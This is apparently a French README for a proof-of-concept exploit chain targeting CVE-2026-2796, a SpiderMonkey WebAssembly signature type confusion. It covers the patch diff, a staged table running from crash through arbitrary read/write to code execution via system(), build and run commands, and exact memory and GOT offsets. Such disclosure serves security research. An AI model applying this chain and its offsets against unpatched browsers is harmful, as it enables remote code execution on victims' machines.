
Chaîne d'exploit PoC pour CVE-2026-2796 : évasion du sandbox SpiderMonkey WebAssembly (confusion de types de signature -> R/W arbitraire -> RCE)
Chaîne d'exploitation de type proof-of-concept pour CVE-2026-2796, une erreur de compilation JIT / confusion de type dans l'optimisation des imports WebAssembly de Mozilla SpiderMonkey (composant « JavaScript: WebAssembly »). Un module wasm forgé obtient une lecture/écriture arbitraire de l'intégralité du processus hôte et l'exécution de code natif arbitraire, s'échappant de la sandbox WebAssembly.
e2acef67 (« Bug 2013165 - Fix import optimization »)Lorsqu'un module wasm importe une fonction JS, SpiderMonkey applique une optimisation dans MaybeOptimizeFunctionCallBind (js/src/wasm/WasmInstance.cpp) qui désenveloppe les imports de la forme Function.prototype.call.bind(fn) et stocke directement comme fonction appelable de l'import. Elle ne vérifiait pas si la valeur liée est elle-même une :
fn+ if (boundThis.toObject().is<JSFunction>() &&
+ boundThis.toObject().as<JSFunction>().isWasm()) {
+ return nullptr;
+ }
Sans cette vérification, l'import est traité comme une fonction d'origine wasm : l'enveloppe JS — et avec elle la vérification de signature — est ignorée. Une fonction wasm peut donc être invoquée via un type d'import déclaré qui ne correspond pas à son type réel. Les valeurs traversent telles quelles dans les registres ; seule leur interprétation change (par exemple, un i64 contrôlé par l'attaquant est utilisé comme pointeur GC (ref $t), et inversement).
| Fichier | Étape | Résultat |
|---|---|---|
poc-crash.js | Confusion de signature | i64.const 0xDEADBEEF déréférencé comme pointeur funcref → SIGSEGV à 0xdeadbf2f |
poc-addrof.js | addrOf + fakeobj | Confusion dans les deux sens (i64 ↔ (ref $t)) → faux WasmArrayObject (numElements_ @+16, data_ @+24, éléments inline @+40) → lecture/écriture arbitraire n'importe où dans le processus |
poc-recon.js | Reconnaissance de la disposition mémoire | Pointeur natif JSFunction @+0x20 → fuite de la base du binaire ; pointeur typeDef WasmFuncRef @+0x40 |
poc-forge.js | Flux de contrôle | funcref forgé passe la vérification de type call_ref ; cible d'appel chargée depuis [funcref+0x38] |
poc-rce.js | Exécution de code | funcref forgé → system("touch /tmp/CVE-2026-2796-PWNED") via system() divulguée (base du binaire + entrée GOT @ base+0x11d47b0) |
La primitive de confusion est obtenue exactement comme dans le test de régression de Mozilla (js/src/jit-test/tests/wasm/regress/bug2013165.js) : importer Function.prototype.call.bind(wasmExport) dans un second module dont la déclaration d'import porte une signature différente, puis ref.func + call_ref.
# Firefox source @ 2fbc0748c460b38fc95407a3f14c41d12fb12026 (2026-01-14,
# Firefox 148 nightly — predates the fix). Any pre-148 revision works.
cd js/src
../../configure --enable-debug --enable-optimize --without-intl-api \
--enable-project=js # objdir e.g. js/src/_obj
cd _obj && make -j8
# binary: dist/bin/js (reports "JavaScript-C149.0a1")
JS=/path/to/dist/bin/js
$JS poc/poc-crash.js # SIGSEGV at 0xdeadbf2f
$JS poc/poc-addrof.js # prints [+] arbitrary read OK / write OK
$JS poc/poc-recon.js # dumps JSFunction / WasmFuncRef memory
$JS poc/poc-forge.js # crashes with PC = planted canary
rm -f /tmp/CVE-2026-2796-PWNED
$JS poc/poc-rce.js # creates /tmp/CVE-2026-2796-PWNED via system()
Sur un build corrigé (Firefox ≥ 148), poc-crash.js lève à la place TypeError: bad type — la vérification de signature est restaurée.
Les offsets correspondent à macOS arm64 (shell js, cette révision et ces options de compilation exactes) : WasmArrayObject { +16 numElements, +24 data_, +40 données inline }, JSFunction natif @ +0x20, WasmFuncRef { +0x40 typeDef, +0x38 cible d'appel }. Ils sont validés empiriquement à l'exécution par les auto-tests des PoC ; les autres builds/architectures nécessitent une nouvelle dérivation (le PoC de reconnaissance automatise l'essentiel). Pas de PAC sur les binaires arm64 (non-arm64e) ; les régions JIT ne sont pas inscriptibles au moment de l'appel, la chaîne détourne donc une cible d'appel existante plutôt que d'injecter du code.
Voir docs/full-escape.md pour l'analyse de l'étape 2 : s'échapper de la sandbox de l'OS à partir de l'exécution de code dans le processus renderer via CVE-2026-2768 (Bug 2014101, écriture hors limites IndexedDB dans le processus parent) — le « second bug » d'une compromission complète de Firefox. L'arborescence vulnérable utilisée ici précède également ce correctif.
Cela permet de s'échapper de la sandbox du moteur wasm (confinement de la mémoire linéaire / GC) et d'obtenir l'exécution de code natif dans le processus courant. Dans une attaque réelle contre un navigateur, cela atterrit dans le processus de contenu de Firefox ; s'échapper de la sandbox de l'OS (le « second bug » : confusion IPC ou exploit du noyau) est un problème distinct et ne fait pas partie de ce PoC.
javascript.options.wasm=false bloque le vecteur de déclenchement.Uniquement pour la recherche en sécurité, l'éducation et les tests défensifs. La vulnérabilité est corrigée dans les versions actuelles de Firefox/Thunderbird. Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.